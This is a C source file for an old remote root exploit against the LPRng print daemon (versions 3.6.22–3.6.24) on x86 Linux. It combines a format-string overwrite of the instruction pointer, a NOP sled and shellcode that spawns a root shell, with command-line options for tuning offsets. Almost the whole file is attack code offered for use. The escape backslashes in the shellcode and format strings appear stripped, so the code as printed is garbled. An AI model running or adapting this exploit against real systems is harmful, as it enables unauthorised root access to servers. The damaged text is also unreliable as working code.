/*
 * LPRng remote root exploit for x86 Linux
 * 9/27/00 
 *
 * - sk8
 * tested on compiled LPRng 3.6.22/23/24 
 *
 */

#include <unistd.h>
#include <stdio.h>

char sc[]=
  "x29xdbx29xc0x29xd2x31xc9xfexcaxb0x46xcdx80x29xff"
  "x47x47x47x43x43x43x31xc9x29xc0xb0x3fxcdx80x41x39"
  "xf9x75xf5x39xd3x7exeexebx19x5ex89xf3x89xf7x83xc7"
  "x07x31xc0xaax89xf9x89xf0xabx89xfax31xc0xabxb0x0b"
  "xcdx80xe8xe2xffxffxff/bin/sh";

#define NOP 0x90 //will be split up, doesn't matter
int main(int argc, char** argv) {
  char getbuf[1000];
  int bpad=0; /* was 2 */ /* 3 for other */
  /* 2 - -34
     3 - -41
     0 - -42
  */
  int i=0;
  int eiploc=0x41424344;
  char buffer[1024];
  char fmtbuf[128];
  int shloc=-1; //0xbffff2c8;
  int hi=100; 
  int lo=200;
  int pre=0;
  int align=-36;

  int pos=511; //483; //488; /*299;*/
  int debug=0;
  char s=0;
  char mode='n';

  while ((s=getopt(argc, argv, "a:b:e:s:p:d")) != EOF) {
    switch(s) {
      case 'a': align=atoi(optarg); break;
      case 'b': bpad=atoi(optarg);
          break;
      case 'e': eiploc=strtoul(optarg, 0,0);
          break;
      case 's': shloc=strtoul(optarg, 0, 0);
          break;
      case 'p': pos=atoi(optarg); break;
      case 'd': debug=1; break;
      default:
    }
  }  
  if (shloc == -1) shloc=eiploc+2450;

  memset(buffer, 0, sizeof(buffer));
  memset(fmtbuf, 0, sizeof(fmtbuf));

  memset(buffer, 'B', bpad);
  *(long*)(buffer+strlen(buffer))=eiploc+2;
  *(long*)(buffer+strlen(buffer))=0x50505050;
  *(long*)(buffer+strlen(buffer))=eiploc;
  pre=strlen(buffer);

  if (debug) { mode='p'; hi=100; lo=100; }
  else {
    hi=((shloc >> 16)&0xffff)-pre+align; /* was no 7 */
    lo=((shloc >> 0)&0xffff)+0x10000-((shloc >> 16)&0xffff);
  }
  sprintf(fmtbuf, "%%%dd%%%d$h%c%%%dd%%%d$h%c", hi, pos, mode, lo, pos+2, mode);
  strcat(buffer+strlen(buffer), fmtbuf);
  /* make it easier to hit shellcode */
  memset(buffer+strlen(buffer), NOP, 385);
  strcat(buffer, sc);
  *(char*)(buffer+strlen(buffer))=0;

  fprintf(stderr, "strlen(fmtbuf): %in", strlen(fmtbuf));
  fprintf(stderr, "pos: %in", pos);
  fprintf(stderr, "align: %in", align);
  fprintf(stderr, "eip location: 0x%xn", eiploc);
  fprintf(stderr, "shellcode location: 0x%xn", shloc);
  fprintf(stderr, "strlen(sc): %in", strlen(sc));
  fprintf(stderr, "strlen(buffer): %in", strlen(buffer));
  printf("%s", buffer);
  putchar('n');
}


// www.Syue.com [2000-12-11]